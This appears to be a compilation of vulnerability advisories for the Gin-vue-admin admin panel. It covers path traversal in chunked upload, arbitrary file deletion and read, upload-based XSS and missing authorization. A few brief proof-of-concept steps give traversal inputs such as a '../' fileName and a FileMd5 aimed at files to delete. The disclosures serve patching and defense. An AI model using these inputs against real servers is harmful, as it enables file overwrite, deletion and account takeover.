Impact Gin-vue-admin <= v2.8.7 has a path traversal vulnerability in the breakpoint resume upload functionality. Attacker can upload any files on any directory.

Path traversal vulnerabilities occur when a web application accepts user-supplied file paths without proper validation, allowing attackers to access or write files outside the intended directory. In the breakpointcontinue.go file, the MakeFile function accepts a fileName parameter through the /fileUploadAndDownload/breakpointContinueFinish API endpoint and directly concatenates it with the base directory path (./fileDir/) using os.OpenFile() without any validation for directory traversal sequences (e.g., ../).

Notably, while the related makeFileContent function in the same file properly validates the fileName parameter by checking for .. sequences, the MakeFile function lacks this security control, indicating an inconsistent security implementation.

An attacker with file upload privileges (role ID 888 - super administrator) could exploit this vulnerability by:

First uploading file chunks through the /fileUploadAndDownload/breakpointContinue endpoint (which has proper validation)

Then calling the /fileUploadAndDownload/breakpointContinueFinish endpoint with a malicious fileName parameter containing path traversal sequences (e.g., ../../../tmp/malicious.txt)

This could lead to: Arbitrary file creation, application process, Configuration file overwriting, Potential Remote Code Execution......

POC 1. Use this endpoint to upload any files(include name or file types) <img width="1429" height="788" alt="ClipboardScreenshot1767755216" src="https://github.com/user-attachments/assets/516022d6-32af-4810-abd9-945cb0bc5ae5" />

2. Then, the filename parameter here uses ../ to traverse to an arbitrary path. <img width="1445" height="306" alt="ClipboardScreenshot1767755256" src="https://github.com/user-attachments/assets/577aa1c1-9b26-4082-b431-f9dac1cdc307" />

Impact Attackers can delete any file on the server at will, causing damage or unavailability of server resources. Attackers can control the 'FileMd5' parameter to delete any file and folder

The affected code: !image (1)

Affected interfaces: /api/fileUploadAndDownload/removeChunk

POC: You can specify the FileMd5 value as the directory or file you want to delete

In gin-vue-admin < 2.5.5, the download module has a Path Traversal vulnerability.

Gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. Gin-vue-admin prior to 2.5.4 is vulnerable to path traversal, which leads to file upload vulnerabilities. Version 2.5.4 contains a patch for this issue. There are no workarounds aside from upgrading to a patched version.

Gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. Versions prior to 2.5.4 contain a file upload ability. The affected code fails to validate fileMd5 and fileName parameters, resulting in an arbitrary file being read. This issue is patched in 2.5.4b. There are no known workarounds.

In "Gin-Vue-Admin", versions v2.5.1 through v2.5.3b are vulnerable to Unrestricted File Upload that leads to execution of javascript code, through the "Compress Upload" functionality to the Media Library. When an admin user views the uploaded file, a low privilege attacker will get access to the admin's cookie leading to account takeover.

In "Gin-Vue-Admin", versions v2.5.1 through v2.5.3beta are vulnerable to Unrestricted File Upload that leads to execution of javascript code, through the 'Normal Upload' functionality to the Media Library. When an admin user views the uploaded file, a low privilege attacker will get access to the admin’s cookie leading to account takeover.

Gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. Gin-vue-admin 2.50 has arbitrary file read vulnerability due to a lack of parameter validation. This has been resolved in version 2.5.1. There are no known workarounds for this issue.

Gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. The problem occurs in the following code in server/service/system/sysautocodepgsql.go, which means that PostgreSQL must be used as the database for this vulnerability to occur. Users must: Require JWT login? and be using PostgreSQL to be affected. This issue has been resolved in version 2.5.1. There are no known workarounds.

Gin-vue-admin is a backstage management system based on vue and gin. In versions prior to 2.4.7 low privilege users are able to modify higher privilege users. Authentication is missing on the setUserInfo function. Users are advised to update as soon as possible. There are no known workarounds.

Gin-Vue-Admin before 2.4.6 mishandles a SQL database.
